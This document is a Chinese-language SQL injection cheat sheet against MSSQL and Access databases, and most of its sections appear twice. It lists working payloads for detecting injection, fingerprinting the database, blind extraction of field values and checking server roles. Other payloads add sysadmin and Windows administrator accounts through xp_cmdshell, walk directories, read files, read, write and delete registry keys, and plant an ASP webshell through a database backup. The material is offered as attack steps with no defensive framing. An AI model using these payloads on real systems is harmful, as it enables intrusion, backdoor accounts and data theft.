1.判断是否有注入;and 1=1 ;and 1=2
2.初步判断是否是mssql ;and user>0
3.注入参数是字符'and [查询条件] and ''='
4.搜索时没过滤参数的'and [查询条件] and '%25'='
5.判断数据库系统
;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access
5.判断数据库系统
;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access
6.猜数据库 ;and (select Count(*) from [数据库名])>0
7.猜字段 ;and (select Count(字段名) from 数据库名)>0
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
9.字段手工猜测
(1)猜字段的ascii值(access)
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
(2)猜字段的ascii值(mssql)
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
(1)猜字段的ascii值(access)
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
(2)猜字段的ascii值(mssql)
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
10.测试权限结构(mssql)
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
;and 1=(select IS_MEMBER('db_owner'));--
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
;and 1=(select IS_MEMBER('db_owner'));--
11.添加mssql和系统的帐户
;exec master.dbo.sp_addlogin username;--
;exec master.dbo.sp_password null,username,password;--
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
;exec master.dbo.xp_cmdshell 'net user username password
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
;exec master.dbo.xp_cmdshell 'net user username password /add';--
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
;exec master.dbo.sp_addlogin username;--
;exec master.dbo.sp_password null,username,password;--
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
;exec master.dbo.xp_cmdshell 'net user username password
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
;exec master.dbo.xp_cmdshell 'net user username password /add';--
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
12.(1)遍历目录
;create table dirs(paths varchar(100), id int)
;insert dirs exec master.dbo.xp_dirtree 'c:/'
;and (select top 1 paths from dirs)>0
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
(2)遍历目录
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
;insert into temp(id) exec master.dbo.xp_subdirs 'c:/';-- 获得子目录列表
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:/';-- 获得所有子目录的目录树构
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:/web/index.asp';-- 查看文件的内容
;create table dirs(paths varchar(100), id int)
;insert dirs exec master.dbo.xp_dirtree 'c:/'
;and (select top 1 paths from dirs)>0
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
(2)遍历目录
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
;insert into temp(id) exec master.dbo.xp_subdirs 'c:/';-- 获得子目录列表
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:/';-- 获得所有子目录的目录树构
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:/web/index.asp';-- 查看文件的内容
13.mssql中的存储过程
xp_regenumvalues 注册表根键, 子键
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE/Microsoft/Windows/CurrentVersion/Run' 以多个记录集方式返回所有键值
xp_regread 根键,子键,键值名
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE/Microsoft/Windows/CurrentVersion','CommonFilesDir' 返回制定键的值
xp_regwrite 根键,子键, 值名, 值类型, 值
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE/Microsoft/Windows/CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
xp_regdeletevalue 根键,子键,值名
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE/Microsoft/Windows/CurrentVersion','TestValueName' 删除某个值
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE/Microsoft/Windows/CurrentVersion/Testkey' 删除键,包括该键下所有值
xp_regenumvalues 注册表根键, 子键
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE/Microsoft/Windows/CurrentVersion/Run' 以多个记录集方式返回所有键值
xp_regread 根键,子键,键值名
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE/Microsoft/Windows/CurrentVersion','CommonFilesDir' 返回制定键的值
xp_regwrite 根键,子键, 值名, 值类型, 值

xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE/Microsoft/Windows/CurrentVersion/Testkey' 删除键,包括该键下所有值
14.mssql的backup创建webshell
use model
create table cmd(str image);
insert into cmd(str) values ('');
backup database model to disk='c:/amxking.asp';
use model
create table cmd(str image);
insert into cmd(str) values ('');
backup database model to disk='c:/amxking.asp';
15.mssql内置函数
;and (select @@version)>0 获得Windows的版本号
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
;and (select user_name())>0 爆当前系统的连接用户
;and (select db_name())>0 得到当前连接的数据库
;and (select @@version)>0 获得Windows的版本号
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
;and (select user_name())>0 爆当前系统的连接用户
;and (select db_name())>0 得到当前连接的数据库
16.简洁的webshell
use model
create table cmd(str image);
insert into cmd(str) values ('');
backup database model to disk='g:/wwwtest/amxking.asp';
use model
create table cmd(str image);
insert into cmd(str) values ('');
backup database model to disk='g:/wwwtest/amxking.asp';
